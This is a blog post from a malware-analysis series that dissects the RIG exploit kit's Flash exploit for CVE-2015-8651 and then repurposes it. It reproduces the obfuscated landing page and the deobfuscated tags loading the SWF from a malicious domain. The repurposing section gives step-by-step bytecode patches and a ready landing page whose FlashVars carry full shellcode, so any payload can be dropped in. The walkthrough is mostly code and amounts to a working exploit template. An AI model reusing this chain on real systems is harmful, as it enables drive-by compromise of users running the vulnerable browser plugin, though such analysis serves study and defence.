Wednesday, 1 June 2016

Malware - Analysing and Repurposing RIG's CVE-2015-8651


Hellooo again and welcome to another Malware post. As the first post was received quite well and I got a lot of encouraging feedback, I've decided to release another one. This time we'll be looking at RIG EK's CVE-2015-8651. As most of you have probably realised, this post is much shorter than Spartan EK's; in fact this will be way easier. If you're not familiar with my previous post, I suggest starting from this one and then move onto Spartan EK's if you're up for a much tougher challenge.

The Fiddler file can be found here.

VM Setup


The following are the setup, tools and files we'll be using throughout this post:
  • Windows 7 64-bit
  • Internet Explorer 11
  • JPEXS - Best Flash Decompiler (imo)
  • Flash Player 20.0.0.228 AX Debug - The ActiveX Debug flavour of Flash. This is the latest vulnerable version
  • Flash Player 20.0.0.228 AX - Do not install this for the time being.
  • Honeybadger - Javascript deobfuscator. Online version can be found here.

Configure the debug version of Flash to log trace output to a file by creating an mm.cfg file. Instructions can be found in section "Equipping our gear" on Spartan EK's blog post.


The Fiddler File



The Fiddler file contains the following relevant request/response pairs:
  1. HTML page (2) - the landing page a victim has to browse to for infection
  2. SWF file (3) - contains the exploit (sent twice for some unknown reason)
  3. Payload (5) - the payload.
Save the landing page and the SWF files for further analysis.


The Landing Page


Let's start with the easier of the scripting languages. After beautifying it, the page still looks messy and it's difficult to work out what it's up to:

<html>
<body>
    <script>
        piudsa = 'mdZnaDt';
        kgjklfdg = true;
        window.liney = bcyt = kgjklfdg;
    </script>
    <script>
        if /*sidgfdfdfkdfl*/ (( /*sidgfdfdfkdfl*/ liney /*sidgfdfdfkdfl*/ )) /*xY2YtOTZiOC00NDQ*/ {
            function k() {
                var a = l(),
                    c = document,
                    b = c["createElement"]( /*xY2YtOTZiOC00NDQ*/ "scr" + "ipt" /*xY2YtOTZiOC00NDQ*/ );
                b["type"] = "text/javas" + /*a*/ "cript", b.text = a, a = document /*iOC00ND*/ ["getElementsByTagName"]("script")[0], a[ /*xY2YtOTZiOC00NDQ*/ "parentN" + /*xY2YtOTZiOC00NDQ*/ "ode"]["insertBefore"](b, a)
            }
            try {
                k()
            } catch (m) {}

...

            for (x = 0; x < L; x++) {
                c = e[ /*as*/ s.charAt(x)];
                b = (b << 3 * 2) + c; /*xY2YtOTZiOC00NDQ*/
                l += 6;
                bx = (L - 2);
                while (l >= 4 + 2 * 2) {
                   ((a = (b >>> (l -= /*xY2YtOTZiOC00NDQ*/ 10 - 2)) & 255) || (x < bx)) && (r += as(a));
               }
           }
           return r;
      }
  } 
    </script>
</body > 
</html>


As mentioned earlier, Javascript is easier to deal with due to the numerous automated tools available for deobfuscation. Analyse the contents with Honeybadger and beautify the contents of DOM changes - object (1):


<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowscriptaccess="always" height="1" width="1">
    <param name="movie" value="http://fg.cannabissmokersofamerica.com/index.php?wX6OcbifLBrLA4o=l3SMfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7cbBE-dp313zzbRFecp1kRfXvzJUmeMZA15DsF4UlK_NBKqKp0N6RgBnEB_CbJQlqw-BF3H6PXl5gv2pHn4oieWX_PVynJImmA">
    <param name="play" value="true">
    <param name="FlashVars" value="iddqd=N3NNXQXiWPWNWeXiXiW3NNYMXhXhXdNOOXOXYQYiOYYeY3YYYYY3YfYLXeXeYPYXYNYgXfXeYXYQY3YPYgXfYLYeY3OYYeYXYPOXYLYYYhYgXMOYXdYMXdNXXiPMNQWXYeYfYLYQWWWfXfWWW3NhYXNPYWNePeWPYQPdXfYQWOXMXOWQWiWPPePgYfOPYYWOWhY3NLWfWPWgPMWePfP3WWPdYMNhPeWiYMWNXfPMWeWOOPYXYQPeYLYMN3NiWXWLWQXMXOXeYPPhXgNfWNPQPXWXXdX3XMXQYgWYNdPePOWQPeWXXOP3YQPOPdPQP3YWXLPOW3YhWeYMYXWfPXWXX3YNYLNdXQWMYOPgYYWMN3YeYPP3NLYWY3WMPLYiYMPdNiYeYfWfWgOPYhXdNeN3NeXOXOYfPfWQYgYeXdN3YNPfYQPMXQXOWOPgYPYgWPPOW3N3NgWhXeWQNhPgYWWNPXWYWfWNX3WNXdNdWYNQPfYiWfYYWgWfPXWeYfWOP3YWX3XiOPYQWgWePhNQPdPMYWNgYiXQNfXdWMYYNhYXYLYgPiPMPXPdWYNfYPNgNhXfNeYWWPOQYhYQYiXeYhYQNPNfNQNgNgMdMdMdLLLLLLLL">
    <!--[if !IE]>-->
    <object type="application/x-shockwave-flash" data="http://fg.cannabissmokersofamerica.com/index.php?wX6OcbifLBrLA4o=l3SMfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7cbBE-dp313zzbRFecp1kRfXvzJUmeMZA15DsF4UlK_NBKqKp0N6RgBnEB_CbJQlqw-BF3H6PXl5gv2pHn4oieWX_PF0lZMmmA" allowscriptaccess="always" height="1" width="1">
        <param name="movie" value="http://fg.cannabissmokersofamerica.com/index.php?wX6OcbifLBrLA4o=l3SMfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7cbBE-dp313zzbRFecp1kRfXvzJUmeMZA15DsF4UlK_NBKqKp0N6RgBnEB_CbJQlqw-BF3H6PXl5gv2pHn4oieWX_PNxl9o">
        <param name="play" value="true">
        <param name="FlashVars" value="iddqd=N3NNXQXiWPWNWeXiXiW3NNYMXhXhXdNOOXOXYQYiOYYeY3YYYYY3YfYLXeXeYPYXYNYgXfXeYXYQY3YPYgXfYLYeY3OYYeYXYPOXYLYYYhYgXMOYXdYMXdNXXiPMNQWXYeYfYLYQWWWfXfWWW3NhYXNPYWNePeWPYQPdXfYQWOXMXOWQWiWPPePgYfOPYYWOWhY3NLWfWPWgPMWePfP3WWPdYMNhPeWiYMWNXfPMWeWOOPYXYQPeYLYMN3NiWXWLWQXMXOXeYPPhXgNfWNPQPXWXXdX3XMXQYgWYNdPePOWQPeWXXOP3YQPOPdPQP3YWXLPOW3YhWeYMYXWfPXWXX3YNYLNdXQWMYOPgYYWMN3YeYPP3NLYWY3WMPLYiYMPdNiYeYfWfWgOPYhXdNeN3NeXOXOYfPfWQYgYeXdN3YNPfYQPMXQXOWOPgYPYgWPPOW3N3NgWhXeWQNhPgYWWNPXWYWfWNX3WNXdNdWYNQPfYiWfYYWgWfPXWeYfWOP3YWX3XiOPYQWgWePhNQPdPMYWNgYiXQNfXdWMYYNhYXYLYgPiPMPXPdWYNfYPNgNhXfNeYWWPOQYhYQYiXeYhYQNPNfNQNgNgMdMdMdLLLLLLLL">
        <!--<![endif]-->
        <!--[if !IE]>-->
    </object>
    <!--<![endif]-->
</object>


It makes much more sense now. The html page downloads a Flash file from the fg.cannabissmokersofamerica.com domain, passes it the long string enclosed in FlashVars tags, and loads in on the page.

Notice that the URL matches with the ones in the Fiddler file so let's move onto the Flash file.


The Flash File


Running the flash file on its own we get the following error:
    TypeError: Error #1009: Cannot access a property or method of a null object reference.
        at NightCrow/dgjgfdfg()
        at NightCrow/fgghjds()
        at NightCrow/init()
        at NightCrow()

This happens as the it tries to access a parameter which is null at the time; for now we can only speculate that it's the same parameter we're encountered on the landing page. Let's forget about it for the time being and disect the rest. Load the file into JPEXS. Execution starts at class NightCrow and the constructor calls this.init():

    private function init(param1:Event = null) : void
    {
        removeEventListener(CloudPost.read_data(-1820302799),this.init);
        var _loc3_:Object = null;
        if(stage && stage.loaderInfo && stage.loaderInfo.parameters)
        {
            _loc3_ = stage.loaderInfo.parameters;
        }
        if(_loc3_ == null && root && root.loaderInfo && root.loaderInfo.parameters)
        {
            _loc3_ = root.loaderInfo.parameters;
        }
        if(_loc3_ == null && loaderInfo && loaderInfo.parameters)
        {
            _loc3_ = loaderInfo.parameters;
        }
        var _loc4_:String = _loc3_[§_a_-_---§.§_a_--_--§(-1820302797)] as String;
        this.asdfsdg = fgghjds(_loc4_);
        var _loc2_:String = §_a_-_---§.§_a_--_--§(-1820302798) + this.asdfsdg as String;
        try
        {
            this.run(_loc2_);
            return;
        }
        catch(error:Error)
        {
            return;
        }
    }

The obfuscation hits us straight in the face so let's start injecting trace bytecode to clear the fog. For example, to resolve CloudPost.read_data(-1820302799) we change the bytecode from:

    code
    getlocal_0
    pushscope
    findpropstrict Qname(PackageNamespace(""),"removeEventListener")
    getlex Qname(PackageNamespace(""),"CloudPost")
    pushint -1820302799
    callproperty Qname(PackageNamespace(""),"read_data") 1
    getlocal_0
    getproperty Qname(PrivateNamespace("NightCrow"),"init")
    callpropvoid Qname(PackageNamespace(""),"removeEventListener") 2
    pushnull
    ...

to:

    code
    getlocal_0
    pushscope

    findpropstrict Qname(PackageNamespace(""),"trace")
    getlex Qname(PackageNamespace(""),"CloudPost")
    pushint -1820302799
    callproperty Qname(PackageNamespace(""),"read_data") 1
    callpropvoid Qname(PackageNamespace(""),"trace") 1
    
    findpropstrict Qname(PackageNamespace(""),"removeEventListener")
    getlex Qname(PackageNamespace(""),"CloudPost")
    pushint -1820302799
    callproperty Qname(PackageNamespace(""),"read_data") 1
    getlocal_0
    getproperty Qname(PrivateNamespace("NightCrow"),"init")
    callpropvoid Qname(PackageNamespace(""),"removeEventListener") 2
    pushnull
    ...

The lines added are 5 to 9. For verification, the ActionScript (AS3) source should look like this now:

    private function init(param1:Event = null) : void
    {
        trace(CloudPost.read_data(-1820302799));
        removeEventListener(CloudPost.read_data(-1820302799),this.init);
        var _loc3_:Object = null;
    ...

Running the Flash file again, we get the following in flashlog.txt:

    addedToStage
    TypeError: Error #1009: Cannot access a property or method of a null object reference.
        at NightCrow/dgjgfdfg()
        at NightCrow/fgghjds()
        at NightCrow/init()
        at NightCrow()

On line 1 we can see that CloudPost.read_data(-1820302799) translates to addedStage. By repeating the technique we can decipher the entire init() function:

    private function init(param1:Event = null) : void
    {
        // CloudPost.read_data(-1820302799) => addedToStage
        removeEventListener(CloudPost.read_data(-1820302799),this.init);
        var _loc3_:Object = null;
        if(stage && stage.loaderInfo && stage.loaderInfo.parameters)
        {
            _loc3_ = stage.loaderInfo.parameters;
        }
        if(_loc3_ == null && root && root.loaderInfo && root.loaderInfo.parameters)
        {
            _loc3_ = root.loaderInfo.parameters;
        }
        if(_loc3_ == null && loaderInfo && loaderInfo.parameters)
        {
            _loc3_ = loaderInfo.parameters;
        }
        //§_a_-_---§.§_a_--_--§(-1820302797) => iddqd
        //_loc4_ => string from landing page
        var _loc4_:String = _loc3_[§_a_-_---§.§_a_--_--§(-1820302797)] as String;
        //this.asdfsdg => 28226f6e54525a6e6e  ... f7e6a7d7f242b2f2c2c19191900000000
        this.asdfsdg = fgghjds(_loc4_);
        //§_a_-_---§.§_a_--_--§(-1820302798) => 60eb1158b9d1040000498034081985 ... 119191919419ad913dadae6e6e6e6
        var _loc2_:String = §_a_-_---§.§_a_--_--§(-1820302798) + this.asdfsdg as String;
        try
        {
        //_loc2_ => concat of the 2 strings
            this.run(_loc2_);
            return;
        }
        catch(error:Error)
        {
            return;
        }
    }

At this point we still don't know what this string in _loc2_ is. We might be in luck and it's shellcode. If that's the case we can stop at this point and start repurposing it.

Inject trace bytecode for _loc2_ and run the SWF file through the landing page so we get access to the FlashVars. The flashlog.txt file now contains the contents of _loc2_. Copy pasting it in Immunity Debugger we get the following:



Still looking promising! The bytes in _loc2_ translate to valid instructions and also start with a PUSHAD which saves the state of all registers. The next step is to change the _loc2_ string to 0xCC's, which is a software interrupt. If it is indeed shellcode, the debugger should halt when it lands on the bytes. Change the AS3 bytecode of the init() function to the following:

    code
    getlocal_0
    pushscope
    findpropstrict Qname(PackageNamespace(""),"removeEventListener")
    getlex Qname(PackageNamespace(""),"CloudPost")
    pushint -1820302799
    callproperty Qname(PackageNamespace(""),"read_data") 1
    getlocal_0
    getproperty Qname(PrivateNamespace("NightCrow"),"init")
    callpropvoid Qname(PackageNamespace(""),"removeEventListener") 2
    pushstring "ccccccccccccccccccccccccccccccccccccc"
    setlocal_2
    ofs0017:getlocal_0
    getlocal_2
    callpropvoid Qname(PrivateNamespace("NightCrow"),"run") 1
    returnvoid
    ofs001e:jump ofs0032
    ofs0022:getlocal_0
    pushscope
    newcatch 0
    dup
    setlocal 6
    dup
    pushscope
    swap
    setslot 1
    popscope
    kill 6
    returnvoid
    ofs0032:returnvoid


The AS3 version looks like this:

    private function init(param1:Event = null) : void
    {
        removeEventListener(CloudPost.read_data(-1820302799),this.init);
        var _loc2_:String = "ccccccccccccccccccccccccccccccccccccc";
        try
        {
            this.run(_loc2_);
            return;
        }
        catch(error:Error)
        {
            return;
        }
    }


Trying it out andddd .. nothing .. not even a crash! That's quite strange. Maybe the exploit doesn't work at all? The version is wrong? Maybe it doesn't work on the Debug version of Flash? Let's verify the last question and install the non-debug version of Flash ActiveX. Attach IDA to IEXPLORER.exe and load the landing page in Internet Explorer anddddd:



Awesome!! We can stop the analysis at this point and move onto the repurposing section.


Repurposing the Exploit


The goal here is to repurpose the exploit to say, pop calc. Ideally we would like the Flash exploit to read the shellcode from the landing page to keep things simple when we want to change the payload. Modifying the Flash file each time is a hassle.

Starting from the landing page, the following contains the calc shellcode:

    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowscriptaccess="always" height="1" width="1">
        <param name="movie" value="RIG_CVE-2015-8651_2016-04-07.swf">
        <param name="play" value="true">
        <param name="FlashVars" value="iddqd=558BEC83C4AC535157648B05300000008B400C8B400C8B008B008B581889D803403C8B507801DA8B7A2001DF31C98B0701D8813843726561751C81780B7373410075138B422401D80FB704488B521C01DA031C82EB0983C704413B4A187CCF8D45F0508D7DAC5731C0B911000000F3ABC745AC44000000505050505050E80900000063616C632E6578650050FFD35F595BC1E00383C006C9C3909090">
        <!--[if !IE]>-->
        <object type="application/x-shockwave-flash" data="RIG_CVE-2015-8651_2016-04-07.swf" allowscriptaccess="always" height="1" width="1">
            <param name="movie" value="RIG_CVE-2015-8651_2016-04-07.swf">
            <param name="play" value="true">
            <param name="FlashVars" value="iddqd=558BEC83C4AC535157648B05300000008B400C8B400C8B008B008B581889D803403C8B507801DA8B7A2001DF31C98B0701D8813843726561751C81780B7373410075138B422401D80FB704488B521C01DA031C82EB0983C704413B4A187CCF8D45F0508D7DAC5731C0B911000000F3ABC745AC44000000505050505050E80900000063616C632E6578650050FFD35F595BC1E00383C006C9C3909090">
            <!--<![endif]-->
            <!--[if !IE]>-->
        </object>
        <!--<![endif]-->
    </object>



For the Flash file it's best to do away with the one we were working on and use an unmodified version. Recall that the original version looks like this:

    private function init(param1:Event = null) : void
    {
        removeEventListener(CloudPost.read_data(-1820302799),this.init);
        var _loc3_:Object = null;
        if(stage && stage.loaderInfo && stage.loaderInfo.parameters)
        {
            _loc3_ = stage.loaderInfo.parameters;
        }
        if(_loc3_ == null && root && root.loaderInfo && root.loaderInfo.parameters)
        {
            _loc3_ = root.loaderInfo.parameters;
        }
        if(_loc3_ == null && loaderInfo && loaderInfo.parameters)
        {
            _loc3_ = loaderInfo.parameters;
        }
        var _loc4_:String = _loc3_[§_a_-_---§.§_a_--_--§(-1820302797)] as String;
        this.asdfsdg = fgghjds(_loc4_);
        var _loc2_:String = §_a_-_---§.§_a_--_--§(-1820302798) + this.asdfsdg as String;
        try
        {
            this.run(_loc2_);
            return;
        }
        catch(error:Error)
        {
            return;
        }
    }


All we need to do is get rid of lines 18 and 19, and pass _loc4_ directly to this.run() on line 22. In AS3 bytecode this would translate to converting the following:

    astypelate
    coerce_s
    setlocal 4
    getlocal_0
    findpropstrict Qname(PrivateNamespace("NightCrow"),"fgghjds")
    getlocal 4
    callproperty Qname(PrivateNamespace("NightCrow"),"fgghjds") 1
    setproperty Qname(PrivateNamespace("NightCrow"),"asdfsdg")
    getlex Qname(PackageNamespace("","1"),"_a_-_---")
    pushint -1820302798
    callproperty Qname(PackageNamespace("","2"),"_a_--_--") 1
    coerce_s
    getlocal_0
    getproperty Qname(PrivateNamespace("NightCrow"),"asdfsdg")
    add
    getlex Qname(PackageNamespace(""),"String")
    astypelate
    coerce_s
    setlocal_2
    ofs00be:getlocal_0
    getlocal_2
    callpropvoid Qname(PrivateNamespace("NightCrow"),"run") 1
    returnvoid
    ofs00c5:jump ofs00d9
    ofs00c9:getlocal_0
    pushscope
    newcatch 0


to this:

    astypelate
    coerce_s
    setlocal 4
    getlocal_0
    findpropstrict Qname(PrivateNamespace("NightCrow"),"fgghjds")
    ofs00a6:getlocal_0
    getlocal 4
    callpropvoid Qname(PrivateNamespace("NightCrow"),"run") 1
    returnvoid
    ofs00ae:jump ofs00c2
    ofs00b2:getlocal_0
    pushscope
    newcatch 0


The final, modified version of the init() function should now look like the following:

    private function init(param1:Event = null) : void
    {
        removeEventListener(CloudPost.read_data(-1820302799),this.init);
        var _loc3_:Object = null;
        if(stage && stage.loaderInfo && stage.loaderInfo.parameters)
        {
            _loc3_ = stage.loaderInfo.parameters;
        }
        if(_loc3_ == null && root && root.loaderInfo && root.loaderInfo.parameters)
        {
            _loc3_ = root.loaderInfo.parameters;
        }
        if(_loc3_ == null && loaderInfo && loaderInfo.parameters)
        {
            _loc3_ = loaderInfo.parameters;
        }
        var _loc4_:String = _loc3_[§_a_-_---§.§_a_--_--§(-1820302797)] as String;
        try
        {
            this.run(_loc4_);
            return;
        }
        catch(error:Error)
        {
            return;
        }
    }


Running the exploit from the landing page in IE 11 through Flash Player 20.0.0.228 AX on Windows 7 SP1 64-bit we get:



The final versions of the files can be downloaded here.